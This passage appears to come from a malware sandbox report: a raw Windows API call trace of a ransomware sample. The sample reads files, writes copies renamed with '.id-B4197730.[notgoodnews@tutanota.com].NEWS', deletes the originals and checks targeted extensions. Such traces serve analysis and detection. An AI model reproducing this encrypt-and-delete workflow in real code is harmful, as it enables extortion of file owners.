nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.382] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.382] SetEndOfFile (hFile=0x31c) returned 1 [0064.382] CloseHandle (hObject=0x31c) returned 1 [0064.383] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.383] SetEndOfFile (hFile=0x2f4) returned 1 [0064.384] CloseHandle (hObject=0x2f4) returned 1 [0064.384] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.384] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0064.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.385] lstrlenW (lpString=".doc") returned 4 [0064.385] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.385] lstrlenW (lpString=".docx") returned 5 [0064.385] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.385] lstrlenW (lpString=".pdf") returned 4 [0064.385] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.385] lstrlenW (lpString=".xls") returned 4 [0064.385] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.385] lstrlenW (lpString=".xlsx") returned 5 [0064.385] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.385] lstrlenW (lpString=".ppt") returned 4 [0064.385] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.385] lstrlenW (lpString=".zip") returned 4 [0064.385] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.385] lstrlenW (lpString=".rar") returned 4 [0064.385] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.385] lstrlenW (lpString=".bz2") returned 4 [0064.385] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.385] lstrlenW (lpString=".7z") returned 3 [0064.385] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.385] lstrlenW (lpString=".dbf") returned 4 [0064.385] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.385] lstrlenW (lpString=".1cd") returned 4 [0064.385] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.385] lstrlenW (lpString=".jpg") returned 4 [0064.386] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.386] lstrlenW (lpString=".doc") returned 4 [0064.386] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.386] lstrlenW (lpString=".docx") returned 5 [0064.386] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.386] lstrlenW (lpString=".pdf") returned 4 [0064.386] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.386] lstrlenW (lpString=".xls") returned 4 [0064.386] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.386] lstrlenW (lpString=".xlsx") returned 5 [0064.386] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.386] lstrlenW (lpString=".ppt") returned 4 [0064.386] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.386] lstrlenW (lpString=".zip") returned 4 [0064.386] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.386] lstrlenW (lpString=".rar") returned 4 [0064.386] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.386] lstrlenW (lpString=".bz2") returned 4 [0064.386] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.386] lstrlenW (lpString=".7z") returned 3 [0064.386] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.386] lstrlenW (lpString=".dbf") returned 4 [0064.386] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.386] lstrlenW (lpString=".1cd") returned 4 [0064.386] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0064.386] lstrlenW (lpString=".jpg") returned 4 [0064.386] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.387] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.387] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.387] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=77680) returned 1 [0064.387] CloseHandle (hObject=0x2f4) returned 1 [0064.387] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0064.387] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.387] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.387] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.388] GetLastError () returned 0x0 [0064.388] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x12f70, lpOverlapped=0x0) returned 1 [0064.390] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x12f80, lpOverlapped=0x0) returned 1 [0064.392] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.392] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.392] SetEndOfFile (hFile=0x31c) returned 1 [0064.392] CloseHandle (hObject=0x31c) returned 1 [0064.394] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.395] SetEndOfFile (hFile=0x2f4) returned 1 [0064.396] CloseHandle (hObject=0x2f4) returned 1 [0064.396] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.396] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0064.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.396] lstrlenW (lpString=".doc") returned 4 [0064.396] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.396] lstrlenW (lpString=".docx") returned 5 [0064.396] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.396] lstrlenW (lpString=".pdf") returned 4 [0064.397] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString=".xls") returned 4 [0064.397] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString=".xlsx") returned 5 [0064.397] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.397] lstrlenW (lpString=".ppt") returned 4 [0064.397] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.397] lstrlenW (lpString=".zip") returned 4 [0064.397] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.397] lstrlenW (lpString=".rar") returned 4 [0064.397] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString=".bz2") returned 4 [0064.397] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString=".7z") returned 3 [0064.397] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.397] lstrlenW (lpString=".dbf") returned 4 [0064.397] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.397] lstrlenW (lpString=".1cd") returned 4 [0064.397] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.397] lstrlenW (lpString=".jpg") returned 4 [0064.397] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.397] lstrlenW (lpString=".doc") returned 4 [0064.397] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString=".docx") returned 5 [0064.397] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.397] lstrlenW (lpString=".pdf") returned 4 [0064.397] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.397] lstrlenW (lpString=".xls") returned 4 [0064.398] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.398] lstrlenW (lpString=".xlsx") returned 5 [0064.398] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.398] lstrlenW (lpString=".ppt") returned 4 [0064.398] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.398] lstrlenW (lpString=".zip") returned 4 [0064.398] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.398] lstrlenW (lpString=".rar") returned 4 [0064.398] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.398] lstrlenW (lpString=".bz2") returned 4 [0064.398] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.398] lstrlenW (lpString=".7z") returned 3 [0064.398] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.398] lstrlenW (lpString=".dbf") returned 4 [0064.398] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.398] lstrlenW (lpString=".1cd") returned 4 [0064.398] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0064.398] lstrlenW (lpString=".jpg") returned 4 [0064.398] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.398] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.398] lstrlenW (lpString="eula.rtf") returned 8 [0064.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.399] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3859) returned 1 [0064.399] CloseHandle (hObject=0x2f4) returned 1 [0064.399] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0064.399] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.399] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.399] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.399] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.399] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.437] GetLastError () returned 0x0 [0064.437] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xf13, lpOverlapped=0x0) returned 1 [0064.439] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf20, lpOverlapped=0x0) returned 1 [0064.440] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.440] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.440] SetEndOfFile (hFile=0x35c) returned 1 [0064.440] CloseHandle (hObject=0x35c) returned 1 [0064.441] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.441] SetEndOfFile (hFile=0x2f4) returned 1 [0064.442] CloseHandle (hObject=0x2f4) returned 1 [0064.442] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.442] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0064.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.442] lstrlenW (lpString=".doc") returned 4 [0064.442] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.442] lstrlenW (lpString=".docx") returned 5 [0064.442] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.443] lstrlenW (lpString=".pdf") returned 4 [0064.443] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.443] lstrlenW (lpString=".xls") returned 4 [0064.443] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.443] lstrlenW (lpString=".xlsx") returned 5 [0064.443] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.443] lstrlenW (lpString=".ppt") returned 4 [0064.443] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.443] lstrlenW (lpString=".zip") returned 4 [0064.443] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.443] lstrlenW (lpString=".rar") returned 4 [0064.443] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.443] lstrlenW (lpString=".bz2") returned 4 [0064.443] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.443] lstrlenW (lpString=".7z") returned 3 [0064.443] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.443] lstrlenW (lpString=".dbf") returned 4 [0064.443] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.443] lstrlenW (lpString=".1cd") returned 4 [0064.443] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.443] lstrlenW (lpString=".jpg") returned 4 [0064.443] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.443] lstrlenW (lpString=".doc") returned 4 [0064.443] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.443] lstrlenW (lpString=".docx") returned 5 [0064.443] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.443] lstrlenW (lpString=".pdf") returned 4 [0064.443] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.443] lstrlenW (lpString=".xls") returned 4 [0064.444] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.444] lstrlenW (lpString=".xlsx") returned 5 [0064.444] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.444] lstrlenW (lpString=".ppt") returned 4 [0064.444] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.444] lstrlenW (lpString=".zip") returned 4 [0064.444] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.444] lstrlenW (lpString=".rar") returned 4 [0064.444] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.444] lstrlenW (lpString=".bz2") returned 4 [0064.444] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.444] lstrlenW (lpString=".7z") returned 3 [0064.444] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.444] lstrlenW (lpString=".dbf") returned 4 [0064.444] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.444] lstrlenW (lpString=".1cd") returned 4 [0064.444] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0064.444] lstrlenW (lpString=".jpg") returned 4 [0064.444] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.444] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.444] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.444] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.444] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=76818) returned 1 [0064.445] CloseHandle (hObject=0x2f4) returned 1 [0064.445] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0064.445] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.445] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.445] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.445] GetLastError () returned 0x0 [0064.445] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x12c12, lpOverlapped=0x0) returned 1 [0064.448] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x12c20, lpOverlapped=0x0) returned 1 [0064.450] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.450] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.450] SetEndOfFile (hFile=0x35c) returned 1 [0064.450] CloseHandle (hObject=0x35c) returned 1 [0064.452] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.452] SetEndOfFile (hFile=0x2f4) returned 1 [0064.454] CloseHandle (hObject=0x2f4) returned 1 [0064.454] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.454] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0064.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.454] lstrlenW (lpString=".doc") returned 4 [0064.454] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.454] lstrlenW (lpString=".docx") returned 5 [0064.454] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.455] lstrlenW (lpString=".pdf") returned 4 [0064.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString=".xls") returned 4 [0064.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString=".xlsx") returned 5 [0064.455] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.455] lstrlenW (lpString=".ppt") returned 4 [0064.455] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.455] lstrlenW (lpString=".zip") returned 4 [0064.455] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.455] lstrlenW (lpString=".rar") returned 4 [0064.455] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString=".bz2") returned 4 [0064.455] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString=".7z") returned 3 [0064.455] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.455] lstrlenW 